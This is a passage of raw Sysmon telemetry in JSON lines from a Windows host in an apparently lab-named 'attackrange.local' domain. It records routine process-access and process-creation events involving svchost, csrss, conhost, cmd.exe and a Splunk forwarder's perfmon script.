C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.465","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3719,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.465\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.465","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3720,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.465\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.465","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3721,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.465\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.465","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3722,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.465\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010C55C0500}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.465","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010C55C0500}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3723,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.576\r\nProcessGuid: {90617006-407F-5F2D-0000-0010EF5E0500}\r\nProcessId: 4780\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\perfmon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.576","ProcessGuid":"{90617006-407F-5F2D-0000-0010EF5E0500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\perfmon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3724,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.575\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010EF5E0500}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.575","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010EF5E0500}","TargetProcessId":"4780","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3725,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.575\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010EF5E0500}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.575","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010EF5E0500}","TargetProcessId":"4780","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3726,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 